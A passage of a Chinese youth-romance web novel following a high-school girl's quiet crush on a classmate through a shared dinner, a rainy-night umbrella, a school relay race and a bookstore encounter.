喻书做完物理卷子,下来找喻臣,看见他们班的板报,瞬间惊叹住了,得知是裴知悯画的,她骄傲之余又有点生气,居然把她闺蜜当免费劳动力使。 喻书忿忿地为其鸣不平:“你知道我们知悯画一次画是要收钱的吗?” 喻臣确实不知道。 “那现在你知道了,”喻书眨着眼伸出手,掌心朝上,“准备给多少?” 喻臣在衣服口袋摸了一阵,装作找到了现金状,攥紧手置于喻书手的上方,她正期待时,他五指张开,空空如也,那双手还顺势打了她一下,“你少狐假虎威。” 喻书撇撇嘴,又和他拌起嘴来。 这个点学生们基本都走光了,本该是静悄悄的教室,裴知悯和祁砚寒隔了几个班就听见了兄妹俩的争论声,待到他们回去,喻臣就像是抓住救命稻草似的。 “我和知悯认识这么久了,”他看向裴知悯,“朋友之间互帮互 助不是应该的吗?” 裴知悯不明所以,但这句话说的没错,她点了点头。 喻书哼了一声:“亲兄弟还明算账呢。” 裴知悯总算明白他们在说什么了,她暗中扯了扯喻书的衣服下摆,以眼神制止。 “喻臣哥,不用计较这些。”裴知悯笑了笑说。 喻臣朝喻书挑了下眉,满脸都写着“我说的没错吧”。 喻书低头偷笑,清楚裴知悯不会收喻臣的钱,她就是故意逗他而已。 临近六点,窗外暮色正浓,喻臣拿起被遗忘在一旁的书包,递给裴知悯:“走吧,辛苦了这么久,请你吃晚饭。” 裴知悯接过书包背上,婉拒道:“真不用这么客气,喻臣哥。” 她不吃,喻书倒不乐意了:“你要去,这么大个工程,必须多吃点把脑力消耗补回来。” “喻书说的有道理,”喻臣笑了下,“帮了我俩这么大个忙,请吃饭是应该的。” 说完他碰了下祁砚寒的胳膊,“你说是吧?” 男生嗓音温淡,“嗯”了一声。 裴知悯思考了一秒,没再拒绝。 从教学楼出来,四个人两两并排走着,今天的日落偏粉,嫣红的云彩铺在天际,好看极了,喻书瞧见后,激动地要拿手机拍照,等到她拍完,她们已经落后喻臣和祁砚寒许多。 俩人也没追上去,慢悠悠地走在他们身后说悄悄话。 “你等会儿多吃点,敲我哥一笔大的。”喻书跟她交代。 裴知悯笑了下,一下就猜中了她的心思,“想让我从吃上把画稿的钱挣回来?” 喻书闷哼一声,拍着她的手背:“真懂我啊。” 裴知悯笑意加深,谋划道:“你也多吃点,就可以敲得更多了。” 喻书笑得有点坏:“好主意。” 远方的夕阳在目光所及之处沉没,世界的光线慢慢暗淡下去。 “你那个李白画的是真好,姿态和身形都很正,就像是古人从画里走出来一样,”喻书止不住地夸赞,“那气质,那风姿,太帅了。” 裴知悯被夸得有点不好意思了。 喻书比划着画里李白题字的动作,说:“而且,旁边那句诗词写得也很帅,和你的画放在一起,简直就是完美。” 裴知悯眼光投向前方的男生,都说字如其人,这句话用在他身上格外合适,那一手飘逸大气的好字,像极了他的气质。 “阿书。”裴知悯定住脚,拉着喻书的手。 喻书跟着停住:“怎么了?” “你是真觉得……”裴知悯咽了下喉咙,看着她的眼睛问,“板报的字和画很衬?” 喻书诚恳的重重地点头:“那当然了,绝配好吧。” 裴知悯笑眼盈盈,就这么简单的一句,就足以令人喜悦,她的心底像是在熬糖浆,甜得冒泡。 喻书鲜少见她这么少女怀春的模样,正想追问,喻臣的声音从前方传来,“喻书,知悯,走快点!” “来了,”喻书应道。 两个女生手牵手往前跑了一截,几个人走在一条直线上,说说笑笑。 他们去的是跨年那天吃的店,此时顾客人不少,除了学生,还有周边居民和下了班的打工人,四个人一齐进去,点过餐,门口就出现了一阵响动,路泽珩和篮球队的人也来了,见到祁砚寒和喻臣在这儿,一群人热情地和他们打招呼。 一堆男生里面,何语苒光是站着就很亮眼,女生眼底藏着欢喜,目光直直地落在他们这边。 打篮球的人多,路泽珩要了两张桌子,他所坐的那桌,就在他们旁边,不知是不是巧合,何语苒的位置挨着祁砚寒,她和他就隔了一米的过道。 何语苒落座间,裴知悯偶然地和她对上了眼神,女生笑得还算友好,她同样回以笑容。 他们这桌是四人桌,祁砚寒和喻臣挨着,裴知悯靠着喻书,她的对面,就是祁砚寒。 安静的相对而坐,裴知悯目光的终点始终局限在他的桌前,偶尔和他对视,匆匆一秒她便会敛回视线。 有时候人就是很奇怪。 在无人之处,你可以注视他的背影千千万万遍,而在可以目光平视的空间,却怯懦得不敢多看他一眼。 相比而言,何语苒则比她勇敢多了。 女生笑颜明媚,看向他的时候,眼里的爱慕光明磊落又小心翼翼。 熟人间的聊天很欢畅,何语苒也参与在话题中,时不时和祁砚寒搭上两句,男生说得不多,但对她句句都有回应。 裴知悯垂下眼睫,一点点撕开餐具外的塑封,她心里装着事,去拿热水壶准备烫餐具时,手指不小心碰到了热水壶的底部,她“嘶”了声,立刻收回手吹气。 喻书关切地问:“没事吧?” 裴知悯皱眉摇了摇头:“没事。” “你小心点,”喻书看她手没红,叮嘱道,“你这手可要好好护着。” 裴知悯吹了吹手指,抿出个笑让她别担心。 担心她再受伤,喻书就想帮她烫餐具,刚要伸手,她面前的碗筷就被祁砚寒先一步拿走了。 三个女生同时看过去。 明亮的光下,男生五官愈发棱角分明,冷硬的眉眼垂着,细致认真地帮她烫餐碟。 裴知悯一颗心暖胀着,像是糖浆熬得浓稠时,鼓起的最大的泡。 喻书在她耳边嘟囔:“想不到他还挺有绅士风度。” 裴知悯盯着男生的动作,没吭声。 祁砚寒的手很漂亮,指节分明,做这么稀疏平常的事,他不急不慢,姿态很是赏心悦目。 这样的小事,何语苒还没见他为哪个女生做过,她狠狠怔了下,眼神掠过祁砚寒对面那个抱过他衣服的女生,心头一阵苦涩,她低着眸,喝起了茶水。 干净的餐具很快摆在裴知悯面前,她又道了声谢,祁砚寒抽出张着纸巾擦手,“客气。” 周围坐的都是朋友,那顿饭吃得很轻松。 但何语苒明显寡言了许多。 手指上的灼痛还残留着一点,七分饱时,裴知悯去了趟洗手间,打开冷水淋着被烫的那处,灼热感完全消失后,她关掉水往外走,途经转角,那里站了两个男生。 “你和你对面那女生怎么回事?”路泽珩随意地和他打听。 祁砚寒皱眉:“什么怎么回事?” 路泽珩看这表情就懂了,是何语苒想多了,他没再执着于这个话题,只是说:“上次的事,就当我欠你个人情。” “别,”祁砚寒回得迅速,“没到这个程度。” 他看向路泽珩,“翻篇的事就别提了。” 路泽珩彻底放下了心,“行。” “那你能别冷着一张脸吗?”他笑了声,嗤他,“你没看我妹饭都没吃两口,还以为又惹你生气了?” “天生就这样,”这人一脸无所谓,“有什么办法?” 路泽珩无奈:“你好歹装装样子。” “之前就是看在你的面子上,我去帮她钢琴伴奏,”祁砚寒睨他一眼,“这次还要看你的面子?” 路泽珩面色不太自然。 元旦晚会的前几天,何语苒的搭档突然发烧了,不能排练登台,那时她实在找不到人,就拜托他喊祁砚寒来帮个忙。 他们认识挺久的了,清楚他的脾气,他事先没说不是独奏,等祁砚寒答应下来,路泽珩才告诉他和他搭档的人是何语苒。 答都答应了,反悔伤朋友感情,祁砚寒只好配合下去。 “别执念在我身上。” 裴知悯从他们身后经过时,耳边飘进了这冰冷的一句,那时店外有摩托车疾驰而过,轰鸣声很大,他们后面的话消逝在了声音里。 夜幕已然降临,街灯亮了一排,昏黄的灯光下,她慢慢穿过街道,走向去对面的便利店,喻书刚才发消息说想喝可乐,裴知悯拿了一罐,冰柜里饮品琳琅满目,她却不知道自己想喝什么。 在柜门前站了会儿,门口猛然响起“欢 迎光临“的语音提示,不多时,裴知悯的鼻息间涌进一股清冽的烟草气味,她回过头,祁砚寒就站在她的侧后方。 不想影响他拿东西,她随手拿了一瓶果粒橙便撤出了那方寸空间,往收银台走。 “四块。”店员说。 裴知悯摸出手机正欲付钱,祁砚寒过来了,男生将一瓶电解质饮料放在台面,“一起。” 说完他就递过去了手机付款码。 “别,”裴知悯忙阻止道。 “当我请你的。”他说。 裴知悯还是想让店员扫自己的二维码,但为时已晚,“叮”的一声,他钱就付过去了。 裴知悯握紧饮料瓶身,和他商量:“我把钱转给你吧?” “不用,”祁砚寒回得平淡,“应该的。” 裴知悯微愣,品了品这三个字。 男生没再关注她,自顾自地走出店门回去,裴知悯木在原地,眼睛吻过他光影下影影绰绰的背影,恍然清醒。 他所有的好意,都是为了酬谢她的帮忙? 第16章 第16章南←繁华大街→北 那个问题裴知悯想了两周都没想明白。 四月下旬,学校开始筹备五月运动会,消息出来后,班里班外全是欢呼声,第二天,体委就组织起了各项比赛的报名,班上的人都挺积极踊跃的,裴知悯听着他们热切的讨论,脑海里总在想,他会参加哪项? 她从小运动天赋就不太强,以前的运动会基本没什么参与感,奈何这次,参加班级接力的女生不够,置身事外的裴知悯被抓去凑了个人头。 早上第4节 是体育课,上了不到半节,体育老师就让他们去自由活动了,这群人散得极快,纷纷跑去食堂吃饭。 裴知悯和时恬还了器材也打算过去,路过篮球场,那里一阵喧闹,有男生在打篮球,树荫下,围了些观看的女生。 临近中午,阳光正烈,裴知悯被晒得眯起了眼,球场上男生很多,她轻易就看见了祁砚寒,男生身姿矫健,上篮时强势又有力,一个起跳,一个扣篮,球稳稳进筐。 场边的女生按捺不住激动,雀跃地呐喊着。 裴知悯遥望过去,那里不知有多少人芳心暗许,有多少人执念太深。 或许是在日光下站久了,她眼眶有点酸。 走出篮球场,时恬小声惊叹:“祁砚寒刚才那几步上篮,真帅啊。” 裴知悯不置可否地笑了下。 “我不是喜欢他的意思,”时恬想起什么,赶忙补充,“我就是单纯感叹。” 裴知悯淡然一笑:“我知道。” 时恬嘿嘿笑了声,蹲下身,挑挑选选地捡起了叶子,好当书签。 裴知悯在一旁等她。 “学校里感觉好多女生都喜欢他,”时恬拣了两张绿油油的树叶,旧话重提,“但他不是我喜欢的那种类型。” 裴知悯好奇:“你喜欢的是哪种类型?” 时恬认真思考了几秒,说:“高的,有一点帅就行,爱干净,笑起来很阳光,像是山间的清风朗月。” “这么具体?”裴知悯旁敲侧击地问,“不会是照着哪个男生说的吧?” 时恬咬着唇,眼神飘忽:“没有,我按照我喜欢的明星说的。” 裴知悯笑:“是吗?” “诶呀,当然是了,”时恬生硬地转过话题,“等下你打算吃什么?” 裴知悯适可而止,接上话头说:“走吧,去看看。” 这会儿食堂的人还不少,两人打了饭边吃边聊,吃完后,时恬要去小卖部,裴知悯想回去做卷子,就没陪她,她一个人悠哉地走在回教学楼的路上,这天的天气真好啊,一抬头就是蓝天白云,万里晴空。 走到楼梯口,忽然有人从后面拍了下裴知悯的右肩,她扭头看去,空无一人。 热情的声音从左侧传来:“嘿!” 裴知悯回头,瞧见卫旭做的近在眼前的鬼脸,被吓一跳,惊恐地退了两步。 “对不起啊,”卫旭见状,立马恢复成正经神色,“吓到你了。” 裴知悯吸了口气,缓过来了,“没事没事。” 卫旭:“在想什么呢?这么认真。” 男生笑得活泼开怀,手里还拿着即将吃完的雪糕。 裴知悯轻咬了下唇,没说真话:“化学题。” “果然是学霸啊,”卫旭挠了挠脑袋,“走路都在想题。” 裴知悯摆手:“我也算不上学霸。” 卫旭笑笑:“比我成绩好的我都统称为学霸。” 那她应该担当得起了。 彼时还没下课,两人一齐上楼,裴知悯好奇:“你们这节也是体育课?” “不是,自习,”卫旭将雪糕最后一点咬完,“我偷摸溜出来的。” 裴知悯露出了然表情。 “运动会你报了哪项?”卫旭把雪糕棍丢在二楼的垃圾箱里,和她闲聊,“跑步?” 裴知悯摇头。 “跳远?” 裴知悯再摇,笑着说:“迎面接力。” 卫旭笑了声:“挺适合女生的。” 裴知悯有来有回地问他:“你呢?” “铅球。” 卫旭的体型有点圆乎,他的胖不是肥胖,而是很结实的那种。 裴知悯照着他的话说:“也挺适合你的。” 卫旭哈哈大笑。 “我只报了一项还好,”他说,“喻臣报了一百米和跳远,砚哥报了跳高和一百米,还有一千五百米。” 裴知悯暗惊,他报了这么多? “他主动参加的吗?”她忍不住问。 卫旭一时不知道她想问谁,“他是指?” 他一反问裴知悯才恍觉这问题鲁莽了,圆话道:“喻臣。” “他是主动的,”卫旭说完就自己交代了,“砚哥的一千五百米是体委报的,他们班上没人去。” 裴知悯:“哦哦。” 上到三楼,还有一分钟就要下课了,怕被人潮给挤死,卫旭赶紧和她道别,风风火火地往九班跑,裴知悯看着前方那个奔跑着的率真憨直的男生,总以为他会一直开朗下去。 回到七班时,同学们聊得正欢。 那句话是怎么说的?人总在接近幸福时倍感幸福,(注)那会儿才四月二十四号,大家就算着日子期盼校运会了,有人还在跟进天气情况,祈求老天那两天千万别下雨。 南城的四月总是多雨的,万物在雨中野蛮生长,校园里一片生机勃勃,春光明媚的日子,有不少学生下课会去欣赏欣赏风景,拍拍照。 但其中不包括裴知悯。 那阵子她学导数和磁场,学得一个头两个大,课后和时恬说起,两人都有一种力不从心的感觉。 有时候她还死犟,一节自习课都可以拿来算物理题,最后得出与参考答案风马牛不相及的答案,几声哀叹后,又再演算改错。 那一周,裴知悯做题总不得劲,每次都感觉快要挨到正解了,却始终算不出来,期中考迫在眼前,她却是心浮气躁的状态。 林泽民道出原因:“你这是到达量变与质变的临界点了。” 裴知悯一脸寻求指点迷津地看着他。 林泽民:“量变是质变的必要准备。” “下一句我知道,”裴知悯说,“质变是量变的必然结果。” 林泽民点头:“你现在就在这两种状态的界线点上,加油,突破过去就飞升了。” “那要是我没突破呢?”裴知悯问。 林泽民沉默了下。 李淮川撑着下巴,加入到谈话中,“那估计你这状态要还要持续好长一阵。” 裴知悯长叹一声,意兴索然地转回身去了。 客观规律不以人的意志为转移,客观规则也是,期中考在裴知悯的焦虑紧张中来临了,兵来将挡水来土掩,再继续积累量变吧。 考完试就到了五月初,那时恰好碰上了高三二模,高一高二全体学生放假,热烈欢呼的声音响彻楼道,跟疯了似的。 裴知悯边收拾边等喻书,她们商量好等会儿去电玩城逛逛。 四方的天空中,有一群燕子飞过,啁哳的鸟鸣声从清晰逐渐变得模糊, 直至完全消失,耳边忽地又传来另一阵声音,有人从窗外经过,脚步急促。 “砚哥,走啊,”卫旭隔了一个教室就开始喊,“去晚了没位置了。” 祁砚寒单肩背着包从后门出来,清淡的一声:“急什么。” 喻臣笑声轻狂,揭穿道:“他应该是怕等会儿没位置会少打两局游戏。” 那人的声调稍显懒散:“章钦会给我们留的。” 原来是去网吧。 “你不是要发奋图强吗?”喻臣笑着说,“还跟我们一起去打游戏。” “我这天资聪颖的,”卫旭不甚在意地摆了摆手,笑着说,“玩了一年再发奋图强都来得及,这才多久。” 卫旭和蒋琛他们年前拼了一把,成绩有了起色,如今早已退出了吊车尾的行列了。 蒋琛慢腾腾地走过去,“根本不带担心的好吧。” 祁砚寒笑:“你最好是。” 喻臣两手插兜往前走,“也不知道是谁这次理综少看了一页,还发奋图强呢?先治治眼睛吧。” 祁砚寒和卫旭都知道这事,笑得毫不掩饰。 他今天都被笑话了好几次了,笑蒋琛吸了口气,追上去邦邦给了喻臣背上两拳,“你还提?” 后方的两人又笑起来。 青春浩荡,少年无忧无惧,今朝有酒今朝醉,明日愁来明日愁。 待到他们嬉笑怒骂的声音飘远,喻书才下来,两人出了校门,径直往电玩城的方向去。 那里年轻的身影不少,裴知悯和喻书穿梭在其中,赛车,投篮,射击,一一玩了个尽兴,最后停在娃娃机面前,喻书运气特好,只花了两个币就抓了个皮卡丘上来,她把玩偶往裴知悯怀里一塞,又接着抓。 娃娃机都有算法机制,先抓住了一个,再想紧接着抓第二个是很困难的,喻书连着投了二十个币都打了水漂,她胜负心上来,誓必要再抓一个才走,两人在机子前尝试了好久,才终于成功。 喻书顿时心满意足,她捡起掉落的皮卡丘,朝裴知悯扬了扬:“还没有我抓不上来的娃娃。” 裴知悯轻叹口气:“你花的这些钱,都可以买两个了。” “那不一样,有挑战才刺激,”喻书抓着玩偶的两只耳朵,又揉又捏,“你说是吧?皮卡丘。” 她自言自语:“你算是我买过的最贵的娃娃了。” 裴知悯无可奈何地笑了声。 那会该玩的她们都玩了,分别后,裴知悯想去搭公交回家,走到分岔路口,看见提示路牌上写着“南←繁华大街→北”,她脚步微滞。 裴知悯抱着皮卡丘,鬼使神差地往北边走,尽管南边才是她回家的方向。 夜色弥漫,行人熙攘,路边还有小孩子在玩闹,身旁有电瓶车驶过,带起的风吹得人心痒痒的。 网吧的牌匾亮着,里面明亮如昼,坐满了人,裴知悯放慢步子,假装不经意地望过去,看了好多次,视野里都没那个身影。 裴知悯低下头,无聊地踢着脚下的石子,那乌龟般的速度不仅没快,还愈发慢了。 走到门口中央,她再度抬头,前台那里,祁砚寒正在和章钦聊天,男生微倾着身子,靠在柜台前,硬朗的手臂搭在台面上,姿态从容又闲散,偏暖的光照在他的肩头,冲淡了两分他周身的冷感。 那时裴知悯距离他只有三五米,依稀听见男生在问章钦哪儿还有空位。 “你那位置不行?” 祁砚寒不冷不热地“嗯”了声,“鼠标灵敏性不好,操作起来膈应。” 章钦询问:“哪一台啊?” 祁砚寒报出机子编号:“35。” “行,”章钦了解了,“我后面找人来看看。” 说完他就去查空位。 章钦一面按电脑一面摸出烟盒,递给他一支,祁砚寒没接。 “不抽了,”他说,“忙着打游戏。” 章钦笑了声,径自咬上那根烟点燃,吸了一口,又侧头缓缓吐出,烟雾上浮间,他看见了门外顿住的女生。 章钦想了两秒,朝外边抬了点下巴:“那不是你……朋友的朋友吗?” 祁砚寒顺着他的话举目望去,裴知悯就站在不远处,女生穿着白T蓝色牛仔裤,肩上背着书包,手里有个娃娃,模样乖巧得不行。 祁砚寒目光微微一动,勾起唇角,眼神玩味地打量起了她。 猝不及防地和他对上视线,裴知悯都不知道自己是该笑一下打个招呼,还是当什么都没发生过的离去。 正当她茫然时,祁砚寒已收回了眼神,章钦咬着烟问:“她是……来找你的?” “不清楚。” “这么无情?”章钦拿下嘴里的烟,冲她招了招手,“进来坐坐?” 裴知悯摇头,手指向前路,意思是她要走了。 章钦会意。 走过繁华大街北路,裴知悯心还在乱跳,本来想偷偷地看他一眼就好,谁料到会被“抓个正着”。 他没发现吧? 应该没有,她只是恰巧路过,路过而已。 裴知悯慢慢走着,心里自己说服自己。 那晚街上的行人都挺悠然自得,忽然有雨滴洒落,起先还没多少人在意,没一分钟,雨就下大了,大家慌忙找地躲雨,声音仓促混乱,有卖东西的小贩在抱怨:“怎么又下雨了,我的生意哟——” 裴知悯一只手挡在头顶,弓起上身撒腿往公交站台跑,这场雨来得迅猛,没多久地面就积了水,奔走的行人不小心踩到坑洼,雨水溅到了路边小店的玻璃窗上,留下一滩水迹。 章钦瞧见窗上豆大的雨珠,感叹道:“又下雨了啊。” 身旁的键盘声噼里啪啦地响个不停,丝毫不逊色这雨声,章钦回头看来,电脑页面已出现了“GAMEOVER”的字样。 前方响起一声欢呼,卫旭隔空对他比了个大拇指,说完他就嬉皮笑脸地去嘲笑蒋琛和喻臣了,那两人肯定不服气啊,和他单挑开了一局。 “你说什么?”祁砚寒没听清他刚刚说的话。 章钦示意他看向窗外:“下雨了。” 说完,他想起那个女孩子,回忆说:“你那朋友……好像没带伞吧?” 这会儿天色已经全黑了,嘈杂的雨声网住了整个世界,树木倒向一边,像是路人的伞,祁砚寒面色有一瞬间的动容。 章钦提了一嘴:“我这有多余的伞,你给送去?” 祁砚寒眼光投向喻臣,那人打得正起劲,算了。 他沉吟片刻,起身朝外走。 公交站下,裴知悯喘匀了气,整理起了被打湿的头发和衣领,裤腿也被打湿了,她蹲下拧了一把,再度站起来时,一阵风迎面扫来,她踉跄着后退了两步。 斜风急雨猖狂地又刮来,裴知悯退到最里边,后背不期然地贴到了一个宽厚的胸膛,她下意识仰头看去,入眼就是男生弧线利落的喉结、下颌线,再往上,是他锋利的眉眼。 被雨淋过的眼皮有些许厚重,裴知悯以为自己出现了幻觉,愣了一秒才道:“你怎么……在这儿?” 祁砚寒没回答,只是把手里的伞给了她,“别再淋着了。” 裴知悯捋了下颊边的发,心头一动:“谢谢。” “没事,奉人之命而已。” 这话说的冷淡又疏离。 裴知悯懵然:“嗯?” “章钦喊的。” 祁砚寒说完,便撑开另一把伞,转身走进雨夜里。 手上的伞柄还是温热的,裴知悯反应过来,稍微拔高些音调:“你的伞我去了学校还你。” 祁砚寒脚步一滞,嗓音从苍茫雨幕中透过来。 “网吧的伞,你还给前台人员就行。” 第17章 第17章想要你的目光为我停留 那晚裴知悯淋了雨,隔天就咳嗽了,苏英监督她喝了几天的止咳糖浆才好。 期中考试成绩出来,裴知悯依旧没在前一百的行列里,她失落之际,该摘抄整理错题的仍旧要摘抄,那时距离运 动会不到一周,班里关心成绩的人没多少,大多数人都在聊下周的事,剩余一小部分女生在说偶像明星,娱乐八卦。 后来裴知悯把所有科目的错题改完,时间又过了两天,那把伞一直被她放在房间里,没机会还,直到周日上午,她提前做完了课外题,空了一个小时出来,裴知悯思索片刻,拿着伞就出门了。 到了网吧,令她意外的是,章钦竟然不在,她把伞给了另一名工作人员,就转身离开了。 公交站台下,有不少等车的人,一辆辆公交车驶过,有人上去,有人下来,裴知悯等了半小时都没碰见去回家的那班,她腿有点酸,走去了站台右边的公共椅子坐下。 正休息着,远远驶来一辆城市公交,裴知悯一看车头,不是想要的数字,便敛回了视线。 车到了停靠点,前后车门打开,上车下车的人各走一边,后车门处,男生背着黑色书包,拖着两个行李箱,最后一个从公交车下来。 箱子车轮发出沉重的闷响,声音由远及近,裴知悯眼前出现一角行李箱,她下意识抬头看去。 章钦起先还不确定是不是她,现在看清正脸了,笑着打趣道:“妹妹,怎么又来这儿了?” 裴知悯看见是他,属实有点吃惊,她顿了下,如实说:“来还你们网吧的伞。” 章钦看了眼女生空荡的手边,“那你的伞呢?” 裴知悯:“已经还给你们网吧的工作人员了。” 章钦一副恍然大悟的样子。 裴知悯思量片刻,真诚说道:“谢谢你那天愿意把伞借给我。” “小事,”章钦唇角掀起笑容,促狭道,“你该谢给你送伞的人。” 裴知悯低声道:“谢过了。” 章钦意味深长地“嗯”了一声,握着行李箱的拉杆打算走了,离开前又说:“有空可以来玩玩,给你熟人价。” 裴知悯仔细琢磨了下他这句话,问:“你是网吧的老板?” 章钦挑了下眉,笑了声:“怎么?不像吗?” 裴知悯轻声说:“有点。” “那你倒是说说?”章钦好整以暇地看着她,“怎么不像了?” “年纪……长相……”裴知悯想到什么说什么,“还有气质,都不太像。” 章钦听到末尾笑意更大,悠悠说:“我这气质,确实和网管的工作不符。” “毕竟,哪有我这么年轻帅气的网管。” 裴知悯抿着嘴笑。 “你别不信,我可是正经大学生,”章钦说着就摸出了学生证,正好今天回校收拾东西,带了的。 裴知悯看向那个黑色小册子,上面有一张二寸白底照片,上面的人的确是他,旁边写着—— 南城大学2011级经济学1班章钦 南城大学在全国高校里名气很高,每年的录取分数线都不低,没想到他竟然是这里毕业的,那去当网管不是屈才了吗? 章钦把学生证揣回兜里,“货真价实吧?” 裴知悯顺从地点头,她视线落在他的两个大行李箱上,“所以……你这是搬出寝室了?” 章钦点头,笑着说:“毕业了,肯定要腾地方给学弟学妹啊。” 裴知悯听完,很应景地道了句:“毕业快乐。” 章钦爽朗一笑:“谢了啊。” “万一你以后考上了南城大学,”他侃笑道,“记得喊我一声学长。” 裴知悯抿出个浅浅的笑,应付性的“嗯”了声。 那时两人都当这是一句无心之语,很多年后,裴知悯才发觉,这话挺有意思。 远处有鸣笛声传来,裴知悯扭头去看,是回家的那一路公交车。 “我等的车来了,”她和章钦告别,“先走了,再见。” “再见,”章钦在背后扬声道,“好好学习啊。” 裴知悯应了声“好”,走上公交车,车辆很快启动,耳边行李箱车轮的声响逐渐远去。 那一周过得好像格外快,几个黑夜过去,就到了运动会,那天风朗气清,阳光灿烂,操场上欢呼声响彻云霄,广播站里的播报时刻不停。 裴知悯第一天没有项目,就给班里的同学还有喻书喻臣加油去了,她喊得格外卖力,一上午过去后,嗓子都有点哑。 祁砚寒跑完一百米决赛出来,蒋琛和卫旭刚好也比完,三人一同去了小卖部买水,再出来时,门口站了个满面笑容的女生,一眨不眨地看着祁砚寒。 蒋琛拱了下祁砚寒的胳膊:“砚哥,那女生是不是来找你的?” 瞧见秦京宁,祁砚寒眼里浮现了一抹不可思议,它拿过蒋琛手里自己的衣服,说:“你们先走。” 卫旭多嘴一问:“她是谁啊?” 祁砚寒落下一句“我朋友”,便抬腿往秦京宁那儿走。 蒋琛和卫旭这两人不约而同地拖长音调“哦”了一声,祁砚寒眸光冷冷地扫过来,那两人立刻走了。 走近到秦京宁面前,他问:“你怎么来了?” 秦京宁笑了下:“你们不是举办运动会吗?我来看看。” 祁砚寒看了眼手机屏幕,平静叙述道:“今天是周四。” 秦京宁当没听懂似的,“所以呢?” 祁砚寒索性不跟她拐弯抹角了,直接问:“你逃课来的?” 秦京宁抱着手,气呼呼地哼了声:“虽然我成绩不咋地,但人品还是很过关的吧?” 祁砚寒噙着笑:“所以呢?” “所以我是光明正大来的,”秦京宁解释,“我早上不太舒服,请了一天的假。” 祁砚寒细细端详着她的脸。 两人小学时就认识了,他们父母工作都很忙,两小只就经常作伴解闷,后来长大了,他们玩得没有以前那么好,但友谊还一直存在。 只是秦京宁作为女孩子,心思好像总会比他多一点。 “好不容易来趟你们学校,”秦京宁请求道,“带我逛逛呗?” 祁砚寒静默了下,喝完那瓶水,迈出脚说:“走吧。” 秦京宁蹦跳着跟上去,这条林荫路上没什么特别的,祁砚寒也用不着给她介绍。 “对了,”秦京宁背着手反问他,“你猜猜我怎么进来的?” 祁砚寒撩起眼皮瞥了她一眼,脸上写着“我怎么知道”。 秦京宁:“翻墙。” 祁砚寒从上至下打量了下她,嗤笑道:“就你这体格,还能翻墙进来?” 秦京宁笑得坦诚:“我朋友带我进来的。” 祁砚寒眉梢一挑。 “说起来你应该也认识。”她说。 祁砚寒不用猜就知道是谁。 “走了,”他带着她从林荫路往右拐,“前面是南礼的阶梯教室……” 裴知悯走在另一侧林荫路上,本是想去买水的,没想到会看见他俩,女生是灯会上站在他身边的人,她记得。 走在她身边,他似乎一直很放松悠闲? 裴知悯止不住地想。 接力被放在了第二天的下午,那时候其他的项目都比完了,所有的目光都投向了接力,这个项目是抽签制,七班和九班还有另外四个文科班抽到了首发的一组。 六班在倒数第二组,不着急比赛,祁砚寒站在人群中观赛,裴知悯看见场边的他,深呼了一口气,内心有点紧张。 体育老师声调洪亮高亢:“各就各位,预备——” 发令枪“砰”地响起后,各班的第一棒立刻冲了出去,交接成功后,这边的人又拿着接力棒跑向对面。 裴知悯位置偏中间,前面的同学一个接一个地跑圆,就快要轮到她上场了,这时耳边响起一阵很大的唏嘘声,是旁边的文科班交接时掉了棒,裴知悯愈发紧张,屏息以待。 对面的黄悦熙拿着接力棒跑了过来,裴知悯稳稳接住,使劲往前跑,那天的太阳很大,耳边的风又快又猛,扑在脸上让她眼睛都睁不开,周围的加油声都快要震穿她的耳膜,裴知悯内心憋着一股劲,咬紧牙关,加速冲刺。 那次真的是她十七年以来,跑得最快的一次。 把接力棒成功交给 林泽民后,裴知悯总算松了口气,那时因为身体惯性,她跑完五十米没能立时停住,跑着跑着,她渐渐感觉腿麻木了。 裴知悯重心不稳,正要往前栽去,一只筋骨强劲的手臂伸了过来,将她稳妥地托住。 埋在他的怀里,裴知悯气息更乱, 男生音调微沉,询问道:“没事吧?” 裴知悯咬着牙摇头:“没事。” 她额头沁出了汗,不想弄脏他衣服,裴知悯忍痛往旁边挪了一步,喻书这时候来了,祁砚寒及时放了手让她来扶。 喻书搀着裴知悯往前走,确认祁砚寒走远,裴知悯握紧喻书的手说:“腿抽筋了。” 喻书一慌,赶紧让她在大树下的台阶那儿坐下,她给裴知悯绷着脚踝,忍不住唠叨说:“上场之前不就跟你说了吗?让你量力而行。” 裴知悯拧着眉喘气,没回她。 “这下好了,”喻书边给她按边在念叨,“你这么一趟跑下来,明天腿肯定要酸,腰大概率也会疼。” 裴知悯还疼着,过了五分钟,她蹙紧的眉逐渐舒展开来,女生诚恳地笑了笑,想让她再别唐僧念经了。 “这么拼命干吗?”喻书没再让她绷腿,拧开矿泉水瓶盖递过去,“我都没见过你在跑步上如此有天赋。” 裴知悯缓了下呼吸,喝口水说:“为了班级荣耀嘛。” 喻书瘪了瘪嘴,自言自语:“班级荣耀至于吗?” 有风吹过,裴知悯舒服地眯了下眼,她看向炽烈的阳光,没说话。 那时她都没顾上喻书的叮嘱,脑中只想用尽全力去跑,跑得快点,再快点,或许他的目光就会有那么的几秒专门为她停留。 第18章 第18章暗中的回赠 运动会过完,那一学期就没什么值得期待的事了,日复一日的生活,平淡得像是白开水。 二零一五年的春天来得晚,走得却格外快,又一波月考过完,南城就迎来了燥热的夏天。 教室里的空调电扇一天都没歇气,像极了他们的圆珠笔,裴知悯还是在和数理作斗争,考点解读一遍遍地过,做完再去刷五年高考三年模拟。 她感觉自己像在渡劫一样,熬过,她就可以“飞升”了。 六月七八号,高三的学生高考,他们得了几天假,裴知悯在家上午画稿,下午做题,当时恰逢丰子恺的漫画再版,书一上市,裴知悯就去了“好久不见”,买到后,她又挑了一套数学真题。 结账的时候,遇见了李淮川,四目相对之时,两人都笑了,异口同声道:“这么巧!” 见他拿着本高考英语必备范文,裴知悯调侃:“你还需要背这个?” 印象里,李淮川从没跌出过年级前一百,他那分数,是裴知悯做梦都想达到的水平。 “多积累总是没错的,”男生挠挠头说,“万一哪天就派上用场了。” 裴知悯看他如此淡定平常,不禁想起那句经典名言:比你优秀的人比你还努力。 “中国现代漫画鼻祖?他的文章也写得很好,”李淮川瞥见了她手里的书。 裴知悯听见这称谓,微惊:“这你也懂?” 李淮川不好意思地一笑:“前一阵读了本丰子恺先生的书,上面有作者介绍。” 裴知悯更惊讶了:“你还有时间读课外书?” 李淮川:“时间都是靠挤出来的。” 果然,能成为是学霸都是有原因的。 结过账,两人分别,裴知悯没急着回去,而是进了附近的一家肯德基店买汉堡,等餐期间,她想起李淮川的“点拨”,便开始刷刚买的卷子。 店里偶有往来走动的顾客,大家的交流声都不大,裴知悯坐在窗边,没人打扰也得个自在。 